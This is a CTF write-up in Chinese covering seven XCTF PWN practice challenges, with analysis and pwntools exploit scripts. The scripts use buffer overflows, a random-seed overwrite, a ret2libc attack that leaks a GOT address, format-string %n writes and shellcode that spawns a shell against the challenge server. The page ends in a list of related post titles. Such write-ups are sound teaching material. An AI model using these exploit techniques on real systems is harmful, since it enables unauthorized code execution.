攻防世界-PWN-Exercise-Wirteup
目录
hello_pwn
level0
guess_num
cgpwn2
level3
string
CGfsb
hello_pwn
用ida打开查看源码:
接收最长16个字节,如果dword_60106C = 特定值 则执行sub_400686 这个函数是打印flag
构造payload使得第4个字节开始的数据转换成dword为特定值即可:
from pwn import *r = remote("220.249.52.133",37341)
payload="aaaa"+p32(0x6E756161)
r.send(payload)
r.interactive()
level0
ida打开:
既然是pwn题目,那肯定存在溢出,查看buf长度0x80,后面是push的ebp。再后面就是返回地址。
程序中也能找到"/bin/sh" 和system函数的地址,但是主流程没看到 /bin/sh的调用 向上查找调用发现了:
这个函数没有参数,直接让这个函数地址覆盖返回地址即可:
from pwn import *r = remote("220.249.52.133",39187)
callsys_addr=0x400596
payload="a"*0x80+ "b"*8 +p64(callsys_addr)
r.send(payload)
r.interactive()
guess_num
用ida打开:
箭头处依次是输入name,设置随机数种子, 游戏通关后打印flag
查看接收name的内存长度是0x20,后面16个字节的随机数种子。
可以将随机数种子覆盖为特定的值,这样每次产生的随机数序列相同,在本地(linux环境)写个C程序获取序列:
得到序列:
python代码:
from pwn import *payload='a'*0x20 + p64(0) + p64(0)
num = [2, 5, 4, 2, 6, 2, 5, 1, 4, 2]r=remote("220.249.52.133",55227)
r.recvuntil("Your name:")
r.sendline(payload)
for i in range(0, 10, 1):r.recvuntil("-------------Turn:%d-------------\n"%(i+1))r.sendline(chr(num[i]+0x30))print(r.recvall())
得到flag:
cgpwn2
ida查看,是32位程序,关键代码:
s地址:
system函数地址:
没有找到 可以执行的指令字符串地址,但是前面有个输入name 可以用输入的name构造:
'cat flag'或者'/bin/sh'之类的语句。
name的地址:
构造exp:
r=remote("220.249.52.133",36642)bin_addr=0x0804A080
system_addr=0x08048420payload= 'a'*0x26+'b'*4 + p32(system_addr)+p32(0)+p32(bin_addr)
r.recvuntil("please tell me your name")
r.sendline("cat flag")
r.recvuntil("hello,you can leave some message here:")
r.sendline(payload)
r.interactive()
得到flag:
level3
这个题是比前面要难很多,可以学到寻找动态库中的函数和字符串的加载地址,看了好几个writeup并配合着执行稍微有点明白了。
1、ELF是CTF的Python库中pwntools的一个模块,用于获取ELF文件的信息,首先要使用ELF(‘文件名’)获取文件句柄
e=ELF(‘文件名’)
用到的几个函数:
获取函数地址:e.symbols[‘函数名’]
获取函数got表地址:e.got[‘函数名’]
获取函数PLT地址:e.plt[‘函数名’]
关于 GOT 和GLT 这里转载一张图片:
程序下载以后解压再解压可以得到可执行程序和libc的库文件,程序放到ida中可以找到溢出点:
buf长度0x88 后面就是ebp和返回地址。但是程序中没有找到system函数和bin_sh字符串,需要利用在libc对应的地址。
使用elf的 e.symbols[‘函数名’]可以获取函数在elf中的地址也就是偏移地址。
使用 search函数可以查找字符串在elf中的地址 也是偏移地址。
查看ida代码可知在执行read函数之前有执行write函数,所以GOT表中会有wirte函数的内存地址。
要想获得libc函数的加载地址,需要获取GOT中的内存地址,使用内存地址-偏移地址就是libc的内存地址。再通过libc地址+偏移地址就可以找到system和/bin/sh的地址。
write的内存地址是关键,如果远程返回给本地?通过打印输出,也就是write函数 在屏幕打印 got[‘write’]的值即可。
然后再构建payload时,write打印后的返回地址需要时main函数或者vulnerable_function函数的地址 让程序重新执行到read函数处进行第二次攻击:最终的exp如下:
from pwn import *libc = ELF('./libc_32.so.6')
system_off = libc.symbols['system']
binsh_off = next(libc.search('/bin/sh\x00'))
write_off = libc.symbols['write']elf=ELF('./level3')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']r=remote("220.249.52.133",46973)
payload='a'*0x88 +'b'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.readuntil("Input:\n")
r.send(payload)
write_addr = u32(r.recv(4))
print("write_addr:"+hex(write_addr))
base_addr= write_addr - write_off
print("base_addr:"+hex(base_addr))
system_addr=base_addr+system_off
print("system_addr:"+hex(system_addr))
binsh_addr=base_addr+binsh_off
print("binsh_addr:"+hex(binsh_addr))payload='a'*0x88 +'b'*4+p32(system_addr)+p32(main_addr)+p32(binsh_addr)
r.readuntil("Input:\n")
r.send(payload)
r.interactive()
得到结果:
string
ida查看,在这里存在攻击点,但是前提是a1[0] == a1[1]
在main函数中可以找到对应的v4,并不相等,所以需要修改其中一个内存的值使其相等。
这里找到format字符串格式漏洞:
可以使用字符串格式化漏洞,修改a[0]的值,程序中打印出了两个数的地址也是提示点。
格式化字符串漏洞的一些资料https://bbs.pediy.com/thread-253638.htm
需要覆盖v4[0]为85即可:
exp:
#encoding=utf-8
from pwn import *context.arch = 'amd64'
r=remote("220.249.52.133",43673)r.recvuntil("secret[0] is ")
aa=r.readline()
a_addr=int("0x"+aa,16)
print("addr a:" + hex(a_addr))
r.recvuntil("What should your character's name be:")
r.sendline("aaa")
r.recvuntil("So, where you will go?east or up?:")
r.sendline("east")
r.recvuntil("go into there(1), or leave(0)?:")
r.sendline("1")
r.recvuntil("'Give me an address'")
r.sendline(str(a_addr))
r.recvuntil("And, you wish is:")
payload='a'*85+"%7$n"
r.sendline(payload)r.recvuntil("SE YOU SPELL")
payload=asm(shellcraft.sh())
r.sendline(payload)
r.interactive()
CGfsb
菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用。
这个题目也是一个字符串格式化漏洞的题,与上一个不同的是需要在printf的字符串中构造覆盖的地址,
关键代码如下:
printf(&s)存在漏洞,后面判断条件为pwnme == 8 即将pwnme地址的内容覆盖为8即可。
pwnme地址:0x0804A068
输入数据s的地址:
由于是32位程序,参数使用栈传递,所以printf函数的第0个参数是输入的字符串s地址,第esp+4处是第1个参数(格式化参数开始),同理esp+28是第10个参数。得到payload:
payload=p32(addr_pwn)+'a'*4+"%10$n"
攻防世界创建环境失败了,本地测试:
from pwn import *r=process("./cgfsb")r.recvuntil("please tell me your name:")
r.sendline("aa")
r.recvuntil("leave your message please:")
addr_pwn=0x0804A068payload=p32(addr_pwn)+'a'*4+"%10$n"
r.sendline(payload)
r.interactive()
得到flag:
攻防世界-PWN-Exercise-Wirteup相关推荐
- 攻防世界(Pwn) forgot---栈溢出;(方法二)
攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...
- 攻防世界(Pwn) forgot---栈溢出;(方法一)
攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...
- [攻防世界 pwn]——pwn1(内涵peak小知识)
[攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...
- [攻防世界 pwn]——实时数据监测
[攻防世界 pwn]--实时数据监测 题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中 只要将key里面的值修改为35795746 ...
- [攻防世界 pwn]——monkey
[攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的 但是再IDA中就懵了,好大呀.好多 ...
- [攻防世界 pwn]——反应釜开关控制
[攻防世界 pwn]--反应釜开关控制 题目地址:https://adworld.xctf.org.cn/ 题目: 无言以对,直接给你shell函数,返回覆盖到shell函数就OK了 exploit ...
- [攻防世界 pwn]——pwn-100
[攻防世界 pwn]--pwn-100 题目地址: https://adworld.xctf.org.cn/ 题目: checksec一下 IDA中 sub_40063D函数的作用就是读入200个字符 ...
- [攻防世界 pwn]——pwn-200
[攻防世界 pwn]--pwn-200 题目地址: https://adworld.xctf.org.cn/ 题目: peak小知识 ret2libc的题型, 一般给一个输出和一个输入的函数, 输入一 ...
- [攻防世界 pwn]——welpwn
[攻防世界 pwn]--welpwn 题目地址: https://adworld.xctf.org.cn/ 题目: 我只能说这道题太巧了, 实在太巧了.我想出来一个名词叫做栈连接 还是先checkse ...
- [攻防世界 pwn]——time_formatter(内涵peak小知识)
[攻防世界 pwn]--time_formatter 题目地址: https://adworld.xctf.org.cn/ 题目: 这是一道堆利用的题, UAFF(use After Free)漏洞. ...
最新文章
- 标准错误处理机制——error
- matlab imfill孔洞填充
- 如何编程得到数据库信息
- 全球大学文凭“含金量”排名出炉:“北清复”名列30强
- html5怎么自动生成meta标签,html中meta标签该如何使用
- python默认参数陷阱_python默认参数陷阱
- -bash : ** : command not found的问题解决(图文详解)
- HCIE-Security Day33:IPSec:深入学习ipsec ikev2、IKEV1和IKEV2比较
- 中国电信物联网平台入门学习笔记3: 电信开发者平台使用
- 1990~2003TVB剧集一览表!
- 大数据可视化是什么意思?
- 你家的wifi安全么?
- 【板栗糖GIS】bat—怎么删除子文件夹下的同后缀名的数据
- oracle中得到当前系统时间
- ps流 转发_一种国标PS流转RTMP直播流的实时转换方法与流程
- memset(G, 0x3f, sizeof(G))涵义
- 秒懂设计模式之工厂方法模式(Factory Method Pattern)
- MFC openGL立方体
- 服务器容易维修吗,服务器维修简单吗
- 在Windows Media Player 12中创建自定义播放列表